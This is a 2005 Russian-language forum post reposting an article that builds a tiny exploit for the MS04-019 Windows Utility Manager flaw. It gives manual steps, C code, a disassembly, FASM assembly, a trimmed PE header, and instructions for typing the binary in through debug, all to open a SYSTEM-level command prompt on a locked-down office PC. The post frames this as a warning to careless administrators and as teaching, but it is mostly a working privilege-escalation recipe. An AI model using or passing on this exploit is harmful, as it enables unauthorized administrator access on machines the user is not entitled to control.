Граната для обезьяны (на базе MS04-019 utilman)

Discussion in 'Безопасность и Анонимность' started by SladerNon, 10 Aug 2005.

  1. SladerNon

    SladerNon Адам

    Joined:
    6 Mar 2005
    Messages:
    1,636
    Likes Received:
    938
    Reputations:
    355
    Acknowledgement: Спасибо 0x90 за консультации.
    Ссылки:

    http://www.wasm.ru/article.php?article=win32appbyhand
    http://www.security.nnov.ru/files/da-um_ex.c

    В некоторых офисах параноидальные и не очень квалифицированные сисадмины применяют достаточно экзотический способ защиты. А именно, вырубают дисководы, интернет и USB порты, дают пользователям права Guest или User, пускают их только в локальную сеть с минимальными правами и думают что все в порядке.

    Цель этой статьи показать этим сисадминам, что еще не все кончено. Что пользователь вполне может написать эксплойт и для начала, получить права администратора. А потом уже по вкусу, можно поломать сетку, забраться в компьютер директора и украсть коды запуска американских ракет :)))

    Кроме указания администраторам на уязвимости, вторая цель статьи – образовательная, что и определяет структуру статьи. В статье обсуждается три в общем-то отдельных вопроса:
    1. Эксплуатирование системных прав Utility Manger с целью получения коммандного интерпретатора с системными же правами.
    2. Написание исполнимого Win32 файла минимального размера.
    3. Ввод бинарного файла с клавиатуры.
    Именно сочетание всех этих трех премудростей и позволило мне назвать результат «Гранатой для Обезьяны».

    Начнем с написания минимального размера эксплойта на повышение прав. Возьмем за основу систему повышения прав, основанную на том, что Utility Manger запускается с правами системы. Соответствующий полноценный эксплойт в авторстве 0x90 описан здесь: http://www.security.nnov.ru/files/da-um_ex.c Наша цель состоит в том, чтобы как можно сильнее его сократить. Кстати еще одна причина, почему я выбрал именно этот эксплойт состоит в том, что значительную часть действий здесь можно выполнить с клавиатуры.

    Общий смысл состоит в том, что путем некоторых манипуляций удается заставить Utilman открыть OpenDialog, который будет обладать системными правами, а затем из этого OpenDialog’а можно уже выполнить cmd.exe, соответственно тоже с правами системы :)))

    Писать код будем сначала на си, потом на ассемблере, а потом вообще в кодах. Конечно хватило бы одного из этих способов, но ужо я вас помучаю. Если три раза повторить - может понятнее будет.

    Сначала опишем наши действия на русском языке (можно сверяться с кодом 0x90):
    1. Запустить Utility Manger
    2. Найти хэндлер окна Utility Manger
    3. Послать Utility Manger через WINAPI сообщение 0x365 которое приведет к тому, что Utility Manger попытается открыть не существующий hlp файл. Возникнет окошко, которое спросит нас, хотим ли мы открыть этот файл в ручном режиме.
    4. Найти хэндлер окна winhelp
    5. Нажать Enter
    6. В открывшемся OpenDialog поменять фильтр загружаемых файлов, так, чтобы отобразился cmd.exe, например в качестве фильтра поставим cmd.ex?
    7. Кликаем правой кнопкой мыши по показанному cmd.exe
    8. Выполняем команду «Open» и получаем окно cmd с правами системы.

    Прелесть этого эксплойта в том, что все кроме пункта 3 можно сделать руками. Ну и еще, чтобы послать Message придется сначала все-таки найти хэндлер. Но уж все остальное только руками.

    Tip: Прошу обратить внимание. Перед запуском эксплойта и вообще перед опытами, следует запустить utilman и убрать галки, которые заставляют одновременно с запуском utilman запускать еще и некоторые другие сервисы. Запускать ulilman надо нажатием клавиш WinKey+U, потому что если у вас права User или Guest, он не запустится командой utilman /start.

    После того, как написали программу на русском языке, напишем то же самое на условном (т.е. cи без лишних слов) языке программирования:

    HANDLE h1=FindWindow(NULL, “Utility Manager”);
    SendMessage(h1,0x365,0,0x1);

    Вот и все, дальше можно все руками. Почти все.

    Почти, потому что, во первых после запуска, программа должна нам дать время запустить Utility Manager, а во-вторых после посылки месседжа, должна ждать, пока мы понажимаем нужные кнопки или вообще выйти.

    Поэтому дописываем:

    Sleep(0xA00);
    HANDLE h1=FindWindow(NULL, “Utility Manager”);
    SendMessage(h1,0x365,0,0x1);
    ExitProcess(0x00);

    Теперь можно написать код на си:
    Code:
    #include <windows.h>
    int main(int argc, char *argv[])
    {
    Sleep(0xA00);
    HANDLE h1=FindWindow(NULL, “Utility Manager”);
    SendMessage(h1,0x365,0,0x1);
    ExitProcess(0x00);
    }
    
    Можно компилировать и запускать. Мда, у меня получилось 50 кб, многовато, если мы хотим вводить это с клавиатуры. Это столько сожрали main на пару с консолью. Если вы умеете компилировать программы в более мелкие файлы – вперед, а мы пойдем другим путем.

    Загружаем программу под дебаггер (любой, тот который у вас в IDE или внешний, например OllyDbg, без разницы) и находим там наш (вот именно наш, а не дописанный компилером!) исполнимый код. Дебаггер как правило показывает названия вызываемых функций, наш участок кода должен начинаться с вызова функции Sleep из KERNEL32.DLL. В дебаггере из IDE это сделать проще, потому что можно поставить брекпойнт прямо на первый Sleep. Нужный нам код выглядит примерно так:
    Code:
    00401154  /. 68 000A0000    PUSH 0A00                                ; /Timeout = 2560. ms
    00401159  |. E8 A27C0000    CALL <JMP.&KERNEL32.Sleep>               ; \Sleep
    0040115E  |. 68 4C914000    PUSH expl.0040914C                       ; /Title = "Utility Manager"
    00401163  |. 6A 00          PUSH 0                                   ; |Class = 0
    00401165  |. E8 D87C0000    CALL <JMP.&USER32.FindWindowA>           ; \FindWindowA
    0040116A  |. 8945 FC        MOV DWORD PTR SS:[EBP-4],EAX
    0040116D  |. 6A 01          PUSH 1                                   ; /lParam = 1
    0040116F  |. 6A 00          PUSH 0                                   ; |wParam = 0
    00401171  |. 68 65030000    PUSH 365                                 ; |Message = MSG(365)
    00401176  |. FF75 FC        PUSH DWORD PTR SS:[EBP-4]                ; |hWnd
    00401179  |. E8 D07C0000    CALL <JMP.&USER32.SendMessageA>          ; \SendMessageA
    0040117E  |. 6A 00          PUSH 0                                   ; /ExitCode = 0
    00401180  \. E8 C17B0000    CALL <JMP.&KERNEL32.ExitProcess>         ; \ExitProcess
    
    Я не буду притворяться, что вы все хорошо знаете ассемблер, а тем более что хорошо знаете обозначения применяемые дебаггерами, поэтому поясню.


    PUSH – означает поместить в стек. Стек это такая фигня (область в памяти) которая применяется для передачи аргументов подпрограммам (функциям) в том случае, если свободных регистров процессора мало. Кстати, если вы хорошо знаете си, то запись __fastcall перед функцией означает, что по возможности, аргументы нужно передавать через регистры а не через стек.
    CALL – выполнить подпрограмму (функцию) которая находится по определенному адресу.
    MOV – переписать, скопировать, эквивалент знака «=» в обычном языке программирования. MOV A,B то же самое, что и A=B
    EBP,EAX – регистры процессора. Это такие очень быстро доступные ячейки памяти, которые находятся в самом процессоре. Их мало.
    <JMP.&KERNEL32.Sleep> - Вообще говоря, в коде вместо этого на самом деле написано [A2 7C 00 00], но дебаггер понял, что по этому адресу находится запись таблицы импорта, которая указывает на адрес функции Sleep из модуля KERNEL32.DLL. Далее мы еще будем разбираться с таблицей импорта. Здесь скажу, что при запуске нашего экзешника, виндоус по адресу A2 7C 00 00 вписала адрес, по которому у конкретной версии винды находится функция Sleep из KERNEL32.DLL. Значек & у дебаггера и квадратные скобочки у меня означают, что нужно не выполнить функцию по адресу A2 7C 00 00, а нужно выполнить функцию, адрес которой записан по адресу A2 7C 00 00.
    expl.0040914C – моя программа называется expl, поэтому expl.0040914C означает адрес 0040914C в адресном пространстве expl. По этому адресу находится начало строки «Utility Manager», т.е. это «область данных». Конец строки «Utility Manager» определяется по байт-символу 0x00.
    [EBP-4] – очевидно, компилятор позаботился, чтобы в регистре EBP на данный момент было такое значение, чтобы по адресу EBP-4 находилась наша переменная, которую мы обозвали h1 в тексте нашей программы на си.
    Отметим, что после выполнения функции FindWindowA, искомый хэндлер окна будет находится в регистре EAX.

    Теперь тут я хотел писать описание как ручками (в шестнадцатиричном редакторе) сделать маленький экзешник. Сам я умею, но писать описание замаялся. Половину написал, а потом плюнул. Если откомпилировать в fasm’е то получится 1536 байт. Я могу сделать руками экзешник вдвое меньший. Если народ захочет, я буду дописывать описание процесса и, может быть, когда-нибудь опубликую.

    На основе кода который нам выдал дебаггер пишем код для фасма:

    Code:
    include 'win32ax.inc'
    
    .code
    	UMCapt db 'Utility Manager',0
      start:
    	
    	push 0xA00
    	call [Sleep]
    
    	push UMCapt
    	push 0x00
    	call [FindWindow]
    
    	push 0x01
    	push 0x00
    	push 0x00000365
    	push eax
    	call [SendMessage]
    
    	push 0x00
    	call [ExitProcess]
    .end start
    
    Соответственно, если у вас пути не прописаны, вам нужно подправить строку include, так чтобы нашло. Кроме того, помните Utility Manager – это заголовок окна утилмана, если у вас не английская винда, нужно написать соответствующее название.

    Компилируем, получили экзе 1536 байт. Все-таки влезем в него хексэдитором и потрем лишнее, так чтобы начало выглядело так:

    Code:
    00000000   4D 5A 00 00 00 00 00 00  00 00 00 00 00 00 00 00   MZ..............
    00000010   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
    00000020   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
    00000030   00 00 00 00 00 00 00 00  00 00 00 00 80 00 00 00   ............?...
    00000040   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
    00000050   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
    00000060   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
    00000070   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
    
    Еще там будут явно видны названия секций «.text» и «.idata» их тоже можно потереть нулями. Остальное оставляем как есть.

    Архивируем экзешник в zip. У меня получилось 371 байт. Осталось его набрать с клавиатуры на целевой машине, распаковать и запустить. Если у вас нет возможности распаковать – наверное лучше всего набирать целый экзешник.

    Теперь как набирать. Я предлагаю с помощью утилиты debug. Возможно вы предложите другие способы. Коротко про debug. Это такая тулза которая позволяет редактировать содержимое памяти и потом что надо сбросить в файл. Ставится вместе с виндоус.

    Запускается – командой debug из командной строки. Появляется приглашение – знак минус. Команды которые понадобятся:
    f 0,200,0
    Заполнить с адреса 0 по адрес 200 все байтом 0.
    a 0
    Начать ввод с адреса 0
    После этого db 01,F2,43,24,25 ….и т.д. Вводите в память то что вам нужно. Выход из режима ввода – нажать лишний раз Enter.
    d 0
    Распечатать содержимое памяти начиная с адреса 0. При этом распечатается 0x80 байт памяти.
    Запись в файл.
    debug не будет писать в файл первые 0x100 байт из того, что ему сказали писать.
    Поэтому нужно передвинуть наши данные, которые начинаются с адреса 0 на 0x100, это делается так:
    m 0 xxx 100
    где xxx – сколько байт двигать.
    Запись в файл делается так:
    n uti.bin
    где uti.bin – имя файла, который в который делается запись.
    Потом:
    r cx
    xxx
    w
    где xxx – сколько байт писать в файл.

    Усе готово. Теперь нужно разархивировать, запустить, быстренько нажать WinKey+U, а что делать дальше вы должны уже знать, если внимательно читали начало :)))
    =============================================

    Автор: Scandy.
    проект www.wapbbs.com/bbs/
     
    #1 SladerNon, 10 Aug 2005
    Last edited: 10 Aug 2005